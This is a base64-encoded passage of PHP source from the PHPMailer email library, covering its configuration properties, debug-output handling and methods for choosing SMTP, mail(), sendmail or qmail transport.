YWluLXRleHQgYXMtaXMsIGFwcHJvcHJpYXRlIGZvciBDTEkKICAgICAqICogYGh0bWxgIE91dHB1dCBlc2NhcGVkLCBsaW5lIGJyZWFrcyBjb252ZXJ0ZWQgdG8gYDxicj5gLCBhcHByb3ByaWF0ZSBmb3IgYnJvd3NlciBvdXRwdXQKICAgICAqICogYGVycm9yX2xvZ2AgT3V0cHV0IHRvIGVycm9yIGxvZyBhcyBjb25maWd1cmVkIGluIHBocC5pbmkKICAgICAqCiAgICAgKiBBbHRlcm5hdGl2ZWx5LCB5b3UgY2FuIHByb3ZpZGUgYSBjYWxsYWJsZSBleHBlY3RpbmcgdHdvIHBhcmFtczogYSBtZXNzYWdlIHN0cmluZyBhbmQgdGhlIGRlYnVnIGxldmVsOgogICAgICogPGNvZGU+CiAgICAgKiAkbWFpbC0+RGVidWdvdXRwdXQgPSBmdW5jdGlvbigkc3RyLCAkbGV2ZWwpIHtlY2hvICJkZWJ1ZyBsZXZlbCAkbGV2ZWw7IG1lc3NhZ2U6ICRzdHIiO307CiAgICAgKiA8L2NvZGU+CiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHNlZSBTTVRQOjokRGVidWdvdXRwdXQKICAgICAqLwogICAgcHVibGljICREZWJ1Z291dHB1dCA9ICdlY2hvJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8ga2VlcCBTTVRQIGNvbm5lY3Rpb24gb3BlbiBhZnRlciBlYWNoIG1lc3NhZ2UuCiAgICAgKiBJZiB0aGlzIGlzIHNldCB0byB0cnVlIHRoZW4gdG8gY2xvc2UgdGhlIGNvbm5lY3Rpb24KICAgICAqIHJlcXVpcmVzIGFuIGV4cGxpY2l0IGNhbGwgdG8gc210cENsb3NlKCkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBXaGV0aGVyIHRvIHNwbGl0IG11bHRpcGxlIHRvIGFkZHJlc3NlcyBpbnRvIG11bHRpcGxlIG1lc3NhZ2VzCiAgICAgKiBvciBzZW5kIHRoZW0gYWxsIGluIG9uZSBtZXNzYWdlLgogICAgICogT25seSBzdXBwb3J0ZWQgaW4gYG1haWxgIGFuZCBgc2VuZG1haWxgIHRyYW5zcG9ydHMsIG5vdCBpbiBTTVRQLgogICAgICogQHZhciBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFN0b3JhZ2UgZm9yIGFkZHJlc3NlcyB3aGVuIFNpbmdsZVRvIGlzIGVuYWJsZWQuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAVE9ETyBUaGlzIHNob3VsZCByZWFsbHkgbm90IGJlIHB1YmxpYwogICAgICovCiAgICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogV2hldGhlciB0byBnZW5lcmF0ZSBWRVJQIGFkZHJlc3NlcyBvbiBzZW5kLgogICAgICogT25seSBhcHBsaWNhYmxlIHdoZW4gc2VuZGluZyB2aWEgU01UUC4KICAgICAqIEBsaW5rIGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1ZhcmlhYmxlX2VudmVsb3BlX3JldHVybl9wYXRoCiAgICAgKiBAbGluayBodHRwOi8vd3d3LnBvc3RmaXgub3JnL1ZFUlBfUkVBRE1FLmh0bWwgUG9zdGZpeCBWRVJQIGluZm8KICAgICAqIEB2YXIgYm9vbGVhbgogICAgICovCiAgICBwdWJsaWMgJGRvX3ZlcnAgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gYWxsb3cgc2VuZGluZyBtZXNzYWdlcyB3aXRoIGFuIGVtcHR5IGJvZHkuCiAgICAgKiBAdmFyIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljICRBbGxvd0VtcHR5ID0gZmFsc2U7CgogICAgLyoqCiAgICAgKiBUaGUgZGVmYXVsdCBsaW5lIGVuZGluZy4KICAgICAqIEBub3RlIFRoZSBkZWZhdWx0IHJlbWFpbnMgIlxuIi4gV2UgZm9yY2UgQ1JMRiB3aGVyZSB3ZSBrbm93CiAgICAgKiAgICAgICAgaXQgbXVzdCBiZSB1c2VkIHZpYSBzZWxmOjpDUkxGLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRMRSA9ICJcbiI7CgogICAgLyoqCiAgICAgKiBES0lNIHNlbGVjdG9yLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIElkZW50aXR5LgogICAgICogVXN1YWxseSB0aGUgZW1haWwgYWRkcmVzcyB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIGVtYWlsLgogICAgICogQHZhciBzdHJpbmcKICAgICAqLwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHBhc3NwaHJhc2UuCiAgICAgKiBVc2VkIGlmIHlvdXIga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wYXNzcGhyYXNlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHNpZ25pbmcgZG9tYWluIG5hbWUuCiAgICAgKiBAZXhhbXBsZSAnZXhhbXBsZS5jb20nCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7CgogICAgLyoqCiAgICAgKiBES0lNIHByaXZhdGUga2V5IHN0cmluZy4KICAgICAqIElmIHNldCwgdGFrZXMgcHJlY2VkZW5jZSBvdmVyIGAkREtJTV9wcml2YXRlYC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwoKICAgIC8qKgogICAgICogQ2FsbGJhY2sgQWN0aW9uIGZ1bmN0aW9uIG5hbWUuCiAgICAgKgogICAgICogVGhlIGZ1bmN0aW9uIHRoYXQgaGFuZGxlcyB0aGUgcmVzdWx0IG9mIHRoZSBzZW5kIGVtYWlsIGFjdGlvbi4KICAgICAqIEl0IGlzIGNhbGxlZCBvdXQgYnkgc2VuZCgpIGZvciBlYWNoIGVtYWlsIHNlbnQuCiAgICAgKgogICAgICogVmFsdWUgY2FuIGJlIGFueSBwaHAgY2FsbGFibGU6IGh0dHA6Ly93d3cucGhwLm5ldC9pc19jYWxsYWJsZQogICAgICoKICAgICAqIFBhcmFtZXRlcnM6CiAgICAgKiAgIGJvb2xlYW4gJHJlc3VsdCAgICAgICAgcmVzdWx0IG9mIHRoZSBzZW5kIGFjdGlvbgogICAgICogICBhcnJheSAgICR0byAgICAgICAgICAgIGVtYWlsIGFkZHJlc3NlcyBvZiB0aGUgcmVjaXBpZW50cwogICAgICogICBhcnJheSAgICRjYyAgICAgICAgICAgIGNjIGVtYWlsIGFkZHJlc3NlcwogICAgICogICBhcnJheSAgICRiY2MgICAgICAgICAgIGJjYyBlbWFpbCBhZGRyZXNzZXMKICAgICAqICAgc3RyaW5nICAkc3ViamVjdCAgICAgICB0aGUgc3ViamVjdAogICAgICogICBzdHJpbmcgICRib2R5ICAgICAgICAgIHRoZSBlbWFpbCBib2R5CiAgICAgKiAgIHN0cmluZyAgJGZyb20gICAgICAgICAgZW1haWwgYWRkcmVzcyBvZiBzZW5kZXIKICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyAkYWN0aW9uX2Z1bmN0aW9uID0gJyc7CgogICAgLyoqCiAgICAgKiBXaGF0IHRvIHB1dCBpbiB0aGUgWC1NYWlsZXIgaGVhZGVyLgogICAgICogT3B0aW9uczogQW4gZW1wdHkgc3RyaW5nIGZvciBQSFBNYWlsZXIgZGVmYXVsdCwgd2hpdGVzcGFjZSBmb3Igbm9uZSwgb3IgYSBzdHJpbmcgdG8gdXNlCiAgICAgKiBAdmFyIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgJFhNYWlsZXIgPSAnICc7CgogICAgLyoqCiAgICAgKiBXaGljaCB2YWxpZGF0b3IgdG8gdXNlIGJ5IGRlZmF1bHQgd2hlbiB2YWxpZGF0aW5nIGVtYWlsIGFkZHJlc3Nlcy4KICAgICAqIE1heSBiZSBhIGNhbGxhYmxlIHRvIGluamVjdCB5b3VyIG93biB2YWxpZGF0b3IsIGJ1dCB0aGVyZSBhcmUgc2V2ZXJhbCBidWlsdC1pbiB2YWxpZGF0b3JzLgogICAgICogQHNlZSBQSFBNYWlsZXI6OnZhbGlkYXRlQWRkcmVzcygpCiAgICAgKiBAdmFyIHN0cmluZ3xjYWxsYWJsZQogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljICR2YWxpZGF0b3IgPSAnYXV0byc7CgogICAgLyoqCiAgICAgKiBBbiBpbnN0YW5jZSBvZiB0aGUgU01UUCBzZW5kZXIgY2xhc3MuCiAgICAgKiBAdmFyIFNNVFAKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc210cCA9IG51bGw7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ3RvJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2NjJyBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRjYyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBUaGUgYXJyYXkgb2YgJ2JjYycgbmFtZXMgYW5kIGFkZHJlc3Nlcy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYmNjID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiByZXBseS10byBuYW1lcyBhbmQgYWRkcmVzc2VzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIEFuIGFycmF5IG9mIGFsbCBraW5kcyBvZiBhZGRyZXNzZXMuCiAgICAgKiBJbmNsdWRlcyBhbGwgb2YgJHRvLCAkY2MsICRiY2MKICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqLwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IGFycmF5KCk7CgogICAgLyoqCiAgICAgKiBBbiBhcnJheSBvZiBuYW1lcyBhbmQgYWRkcmVzc2VzIHF1ZXVlZCBmb3IgdmFsaWRhdGlvbi4KICAgICAqIEluIHNlbmQoKSwgdmFsaWQgYW5kIG5vbiBkdXBsaWNhdGUgZW50cmllcyBhcmUgbW92ZWQgdG8gJGFsbF9yZWNpcGllbnRzCiAgICAgKiBhbmQgb25lIG9mICR0bywgJGNjLCBvciAkYmNjLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JHRvIEBzZWUgUEhQTWFpbGVyOjokY2MgQHNlZSBQSFBNYWlsZXI6OiRiY2MKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokYWxsX3JlY2lwaWVudHMKICAgICAqLwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogQW4gYXJyYXkgb2YgcmVwbHktdG8gbmFtZXMgYW5kIGFkZHJlc3NlcyBxdWV1ZWQgZm9yIHZhbGlkYXRpb24uCiAgICAgKiBJbiBzZW5kKCksIHZhbGlkIGFuZCBub24gZHVwbGljYXRlIGVudHJpZXMgYXJlIG1vdmVkIHRvICRSZXBseVRvLgogICAgICogVGhpcyBhcnJheSBpcyB1c2VkIG9ubHkgZm9yIGFkZHJlc3NlcyB3aXRoIElETi4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6JFJlcGx5VG8KICAgICAqLwogICAgcHJvdGVjdGVkICRSZXBseVRvUXVldWUgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF0dGFjaG1lbnRzLgogICAgICogQHZhciBhcnJheQogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBhcnJheSBvZiBjdXN0b20gaGVhZGVycy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBtb3N0IHJlY2VudCBNZXNzYWdlLUlEIChpbmNsdWRpbmcgYW5ndWxhciBicmFja2V0cykuCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRsYXN0TWVzc2FnZUlEID0gJyc7CgogICAgLyoqCiAgICAgKiBUaGUgbWVzc2FnZSdzIE1JTUUgdHlwZS4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJG1lc3NhZ2VfdHlwZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIE1JTUUgYm91bmRhcnkgc3RyaW5ncy4KICAgICAqIEB2YXIgYXJyYXkKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkYm91bmRhcnkgPSBhcnJheSgpOwoKICAgIC8qKgogICAgICogVGhlIGFycmF5IG9mIGF2YWlsYWJsZSBsYW5ndWFnZXMuCiAgICAgKiBAdmFyIGFycmF5CiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gYXJyYXkoKTsKCiAgICAvKioKICAgICAqIFRoZSBudW1iZXIgb2YgZXJyb3JzIGVuY291bnRlcmVkLgogICAgICogQHZhciBpbnRlZ2VyCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUgY2VydGlmaWNhdGUgZmlsZSBwYXRoLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBTL01JTUUga2V5IGZpbGUgcGF0aC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsKCiAgICAvKioKICAgICAqIFRoZSBvcHRpb25hbCBTL01JTUUgZXh0cmEgY2VydGlmaWNhdGVzICgiQ0EgQ2hhaW4iKSBmaWxlIHBhdGguCiAgICAgKiBAdmFyIHN0cmluZwogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqLwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwoKICAgIC8qKgogICAgICogVGhlIFMvTUlNRSBwYXNzd29yZCBmb3IgdGhlIGtleS4KICAgICAqIFVzZWQgb25seSBpZiB0aGUga2V5IGlzIGVuY3J5cHRlZC4KICAgICAqIEB2YXIgc3RyaW5nCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsKCiAgICAvKioKICAgICAqIFdoZXRoZXIgdG8gdGhyb3cgZXhjZXB0aW9ucyBmb3IgZXJyb3JzLgogICAgICogQHZhciBib29sZWFuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICovCiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKCiAgICAvKioKICAgICAqIFVuaXF1ZSBJRCB1c2VkIGZvciBtZXNzYWdlIElEIGFuZCBib3VuZGFyaWVzLgogICAgICogQHZhciBzdHJpbmcKICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKi8KICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICAvKioKICAgICAqIEVycm9yIHNldmVyaXR5OiBtZXNzYWdlIG9ubHksIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfTUVTU0FHRSA9IDA7CgogICAgLyoqCiAgICAgKiBFcnJvciBzZXZlcml0eTogbWVzc2FnZSwgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcuCiAgICAgKi8KICAgIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOwoKICAgIC8qKgogICAgICogRXJyb3Igc2V2ZXJpdHk6IG1lc3NhZ2UsIHBsdXMgZnVsbCBzdG9wLCBjcml0aWNhbCBlcnJvciByZWFjaGVkLgogICAgICovCiAgICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsKCiAgICAvKioKICAgICAqIFNNVFAgUkZDIHN0YW5kYXJkIGxpbmUgZW5kaW5nLgogICAgICovCiAgICBjb25zdCBDUkxGID0gIlxyXG4iOwoKICAgIC8qKgogICAgICogVGhlIG1heGltdW0gbGluZSBsZW5ndGggYWxsb3dlZCBieSBSRkMgMjgyMiBzZWN0aW9uIDIuMS4xCiAgICAgKiBAdmFyIGludGVnZXIKICAgICAqLwogICAgY29uc3QgTUFYX0xJTkVfTEVOR1RIID0gOTk4OwoKICAgIC8qKgogICAgICogQ29uc3RydWN0b3IuCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkZXhjZXB0aW9ucyBTaG91bGQgd2UgdGhyb3cgZXh0ZXJuYWwgZXhjZXB0aW9ucz8KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGV4Y2VwdGlvbnMgIT09IG51bGwpIHsKICAgICAgICAgICAgJHRoaXMtPmV4Y2VwdGlvbnMgPSAoYm9vbGVhbikkZXhjZXB0aW9uczsKICAgICAgICB9CiAgICAgICAgLy9QaWNrIGFuIGFwcHJvcHJpYXRlIGRlYnVnIG91dHB1dCBmb3JtYXQgYXV0b21hdGljYWxseQogICAgICAgICR0aGlzLT5EZWJ1Z291dHB1dCA9IChzdHJwb3MoUEhQX1NBUEksICdjbGknKSAhPT0gZmFsc2UgPyAnZWNobycgOiAnaHRtbCcpOwogICAgfQoKICAgIC8qKgogICAgICogRGVzdHJ1Y3Rvci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKQogICAgewogICAgICAgIC8vQ2xvc2UgYW55IG9wZW4gU01UUCBjb25uZWN0aW9uIG5pY2VseQogICAgICAgICR0aGlzLT5zbXRwQ2xvc2UoKTsKICAgIH0KCiAgICAvKioKICAgICAqIENhbGwgbWFpbCgpIGluIGEgc2FmZV9tb2RlLWF3YXJlIGZhc2hpb24uCiAgICAgKiBBbHNvLCB1bmxlc3Mgc2VuZG1haWxfcGF0aCBwb2ludHMgdG8gc2VuZG1haWwgKG9yIHNvbWV0aGluZyB0aGF0CiAgICAgKiBjbGFpbXMgdG8gYmUgc2VuZG1haWwpLCBkb24ndCBwYXNzIHBhcmFtcyAobm90IGEgcGVyZmVjdCBmaXgsCiAgICAgKiBidXQgaXQgd2lsbCBkbykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHRvIFRvCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdWJqZWN0IFN1YmplY3QKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgTWVzc2FnZSBCb2R5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRoZWFkZXIgQWRkaXRpb25hbCBIZWFkZXIocykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhcmFtcyBQYXJhbXMKICAgICAqIEBhY2Nlc3MgcHJpdmF0ZQogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKQogICAgewogICAgICAgIC8vQ2hlY2sgb3ZlcmxvYWRpbmcgb2YgbWFpbCBmdW5jdGlvbiB0byBhdm9pZCBkb3VibGUtZW5jb2RpbmcKICAgICAgICBpZiAoaW5pX2dldCgnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcpICYgMSkgewogICAgICAgICAgICAkc3ViamVjdCA9ICR0aGlzLT5zZWN1cmVIZWFkZXIoJHN1YmplY3QpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7CiAgICAgICAgfQoKICAgICAgICAvL0Nhbid0IHVzZSBhZGRpdGlvbmFsX3BhcmFtZXRlcnMgaW4gc2FmZV9tb2RlLCBjYWxsaW5nIG1haWwoKSB3aXRoIG51bGwgcGFyYW1zIGJyZWFrcwogICAgICAgIC8vQGxpbmsgaHR0cDovL3BocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLm1haWwucGhwCiAgICAgICAgaWYgKGluaV9nZXQoJ3NhZmVfbW9kZScpIG9yICEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIGlzX251bGwoJHBhcmFtcykpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gQG1haWwoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KICAgIC8qKgogICAgICogT3V0cHV0IGRlYnVnZ2luZyBpbmZvIHZpYSB1c2VyLWRlZmluZWQgbWV0aG9kLgogICAgICogT25seSBnZW5lcmF0ZXMgb3V0cHV0IGlmIFNNVFAgZGVidWcgb3V0cHV0IGlzIGVuYWJsZWQgKEBzZWUgU01UUDo6JGRvX2RlYnVnKS4KICAgICAqIEBzZWUgUEhQTWFpbGVyOjokRGVidWdvdXRwdXQKICAgICAqIEBzZWUgUEhQTWFpbGVyOjokU01UUERlYnVnCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVkZWJ1Zygkc3RyKQogICAgewogICAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnIDw9IDApIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvL0F2b2lkIGNsYXNoIHdpdGggYnVpbHQtaW4gZnVuY3Rpb24gbmFtZXMKICAgICAgICBpZiAoIWluX2FycmF5KCR0aGlzLT5EZWJ1Z291dHB1dCwgYXJyYXkoJ2Vycm9yX2xvZycsICdodG1sJywgJ2VjaG8nKSkgYW5kIGlzX2NhbGxhYmxlKCR0aGlzLT5EZWJ1Z291dHB1dCkpIHsKICAgICAgICAgICAgY2FsbF91c2VyX2Z1bmMoJHRoaXMtPkRlYnVnb3V0cHV0LCAkc3RyLCAkdGhpcy0+U01UUERlYnVnKTsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgewogICAgICAgICAgICBjYXNlICdlcnJvcl9sb2cnOgogICAgICAgICAgICAgICAgLy9Eb24ndCBvdXRwdXQsIGp1c3QgbG9nCiAgICAgICAgICAgICAgICBlcnJvcl9sb2coJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnaHRtbCc6CiAgICAgICAgICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcsIEhUTUwtc2FmZSBvdXRwdXQKICAgICAgICAgICAgICAgIGVjaG8gaHRtbGVudGl0aWVzKAogICAgICAgICAgICAgICAgICAgIHByZWdfcmVwbGFjZSgnL1tcclxuXSsvJywgJycsICRzdHIpLAogICAgICAgICAgICAgICAgICAgIEVOVF9RVU9URVMsCiAgICAgICAgICAgICAgICAgICAgJ1VURi04JwogICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgLiAiPGJyPlxuIjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdlY2hvJzoKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vTm9ybWFsaXplIGxpbmUgYnJlYWtzCiAgICAgICAgICAgICAgICAkc3RyID0gcHJlZ19yZXBsYWNlKCcvXHJcbj8vbXMnLCAiXG4iLCAkc3RyKTsKICAgICAgICAgICAgICAgIGVjaG8gZ21kYXRlKCdZLW0tZCBIOmk6cycpIC4gIlx0IiAuIHN0cl9yZXBsYWNlKAogICAgICAgICAgICAgICAgICAgICJcbiIsCiAgICAgICAgICAgICAgICAgICAgIlxuICAgICAgICAgICAgICAgICAgIFx0ICAgICAgICAgICAgICAgICAgIiwKICAgICAgICAgICAgICAgICAgICB0cmltKCRzdHIpCiAgICAgICAgICAgICAgICApIC4gIlxuIjsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nIFNNVFAuCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzU01UUCgpCiAgICB7CiAgICAgICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWVzc2FnZXMgdXNpbmcgUEhQJ3MgbWFpbCgpIGZ1bmN0aW9uLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKQogICAgewogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnbWFpbCc7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1lc3NhZ2VzIHVzaW5nICRTZW5kbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNTZW5kbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAnc2VuZG1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogICAgfQoKICAgIC8qKgogICAgICogU2VuZCBtZXNzYWdlcyB1c2luZyBxbWFpbC4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNRbWFpbCgpCiAgICB7CiAgICAgICAgJGluaV9zZW5kbWFpbF9wYXRoID0gaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpOwoKICAgICAgICBpZiAoIXN0cmlzdHIoJGluaV9zZW5kbWFpbF9wYXRoLCAncW1haWwnKSkgewogICAgICAgICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vcW1haWwtaW5qZWN0JzsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy